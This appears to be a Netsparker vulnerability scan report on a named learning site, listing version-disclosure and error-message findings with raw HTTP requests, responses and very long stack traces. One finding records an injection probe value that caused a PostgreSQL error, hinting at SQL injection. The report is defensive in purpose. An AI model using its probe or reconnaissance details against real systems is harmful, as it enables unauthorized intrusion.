(navigator.mimeTypes[pluginmime] == null) { detected = 0; } } return detected; } else if((msie_windows == 1) && !plugin_undetectable) { return WM_activeXDetect(activeXname); } else { return 0; } } else { return 0; } } </script> <script> <!-- var hasFlash = WM_pluginDetect('Flash', 'swf', 'application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash'); var flashVersion = 0; if(WM_pluginDetect('Flash 9', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.9')) { flashVersion = 9; }else if(WM_pluginDetect('Flash 8', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.8')) { flashVersion = 8; }else if(WM_pluginDetect('Flash 7', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.7')) { flashVersion = 7; }else if(WM_pluginDetect('Flash 6', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.6')) { flashVersion = 6; } else if(WM_pluginDetect('Flash 5', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.5')) { flashVersion = 5; } else if(WM_pluginDetect('Flash 4', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.4')) { flashVersion = 4; } else if(WM_pluginDetect('Flash 3', 'swf','application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash.3')) { flashVersion = 3; } else if(WM_pluginDetect('Flash 2', 'swf','application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash.2')) { flashVersion = 2; } //--> var IBChk=false,IBVChk=false,CookiesChk=false,FlashPChk=false,JREChk=false,PopupBChk=false </script></head><body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onload="eval('do..
Apache Version Disclosure

Apache Version Disclosure
1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /KeyRegister

/KeyRegister

http://learn.bridgefront.com/KeyRegister

Extracted Version

2.2.3 (Red Hat)

Request

POST /KeyRegister HTTP/1.1
Referer: http://learn.bridgefront.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: learn.bridgefront.com
Cookie: JSESSIONID=8FFB3759A352D98FFEA3A5A0445029C3
Content-Length: 29
Accept-Encoding: gzip, deflate

replace2_ul_=&submit=Register

Response

HTTP/1.1 302 Moved Temporarily
Date: Tue, 26 Apr 2011 01:16:47 GMT
Server: Apache/2.2.3 (Red Hat)
Location: http://learn.bridgefront.com/login.jsp?reason=keyfailed
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


Tomcat Version Disclosure

Tomcat Version Disclosure
1 TOTAL
LOW
Netsparker identified that the target web server is Tomcat. This information was gathered from the HTTP Headers.

Impact

An attacker can look for specific security vulnerabilities for the version disclosed by the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /lm_login.jsp

/lm_login.jsp

http://learn.bridgefront.com/lm_login.jsp

Extracted Version

Apache Tomcat/6.0.16

Request

GET /lm_login.jsp HTTP/1.1
Referer: http://learn.bridgefront.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=8FFB3759A352D98FFEA3A5A0445029C3
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 404 /lm_login.jsp
Date: Tue, 26 Apr 2011 01:16:45 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 991
Connection: close
Content-Type: text/html;charset=utf-8


<html><head><title>Apache Tomcat/6.0.16 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 404 - /lm_login.jsp</h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u>/lm_login.jsp</u></p><p><b>description</b> <u>The requested resource (/lm_login.jsp) is not available.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/6.0.16</h3></body></html>
Database Error Message

Database Error Message
1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /KeyRegister

/KeyRegister

http://learn.bridgefront.com/KeyRegister

Parameters

Parameter Type Value
replace2_ul_ POST response.write(268409241-22)'
submit POST Register

Request

POST /KeyRegister HTTP/1.1
Referer: http://learn.bridgefront.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: learn.bridgefront.com
Cookie: JSESSIONID=8FFB3759A352D98FFEA3A5A0445029C3
Content-Length: 60
Accept-Encoding: gzip, deflate

replace2_ul_=response.write(268409241-22)%27&submit=Register

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 26 Apr 2011 01:17:35 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 6656
Connection: close
Content-Type: text/html; charset=UTF-8



<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

function showdiv2(param)
{
if(param=="show")
{
document.all.div1.style.visibility="visible";
// document.errorform.r2.value="specific";
}
else
{
document.all.div1.style.visibility="hidden";
// document.errorform.r2.value="all";
}
}

</script>

</head>
<body bgcolor="#FFFFFF">

<font face="Helvetica">

<h2><font color=#DB1260>Ooooops... An Error Occured.</font></h2>

<pre>
<b>
SERVER NAME: learn.bridgefront.comSERVER PORT: 80REMOTE HOST: 173.193.214.243EXCEPTION: java.lang.NullPointerExceptionJSP REQUESTED: /errorpage.jsp?null
<table border="0">

<tr>
<td>
<input type="radio" checked value="hide" name="R2" onClick="showdiv2('hide')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial" >Hide Details</font><br>
</td>
<td>
<input type="radio" value="show" name="R2" onClick="showdiv2('show')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial">Show Details</font><br>
</td>
</tr>
</table>
<hr width=100%>
<DIV ID="div1" STYLE="visibility:hidden">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
<tr>
<td>
org.postgresql.util.PSQLException: ERROR: unterminated quoted string at or near "'response.write(268409241-22)''" at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1592) at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1327) at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:192) at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:451) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:336) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:235) at org.apache.tomcat.dbcp.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at com.user.KeyRegister.doPost(KeyRegister.java:41) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
<tr><td>--------------------</td></tr>
<tr>
<td>java.lang.NullPointerException at org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:129) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:630) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:436) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:374) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:302) at com.user.KeyRegister.sendErrorRedirect(KeyRegister.java:135) at com.user.KeyRegister.doPost(KeyRegister.java:101) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
</table>

<p>
<hr width=100%>
</body>
</html>
Tomcat Exception Report Disclosure

Tomcat Exception Report Disclosure
1 TOTAL
LOW
Netsparker identified that the target web server is disclosing exception report data in the HTTP response.

Impact

An attacker can obtain information such as: This information might help an attacker to gain more information and to potentially focus on the development of further attacks to the target system.

Remedy

Apply the following configuration to your web.xml file to prevent information leakage by applying custom error pages. 
<error-page>
        <error-code>500</error-code>
        <location>/server_error.html</location>
</error-page>

Remedy References

- /errorpage.jsp

/errorpage.jsp

http://learn.bridgefront.com/errorpage.jsp?null

Request

GET /errorpage.jsp?null HTTP/1.1
Referer: http://learn.bridgefront.com/KeyRegister
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=1B3FB576C860FF50C5478C31E0BD27CE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 26 Apr 2011 01:22:03 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=utf-8


<html><head><title>Apache Tomcat/6.0.16 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exception</b> <pre>org.apache.jasper.JasperException: javax.servlet.ServletException: java.lang.StackOverflowError org.apache.jasper.servlet.JspServletWrapper.handleJspException(JspServletWrapper.java:522) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:398) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) 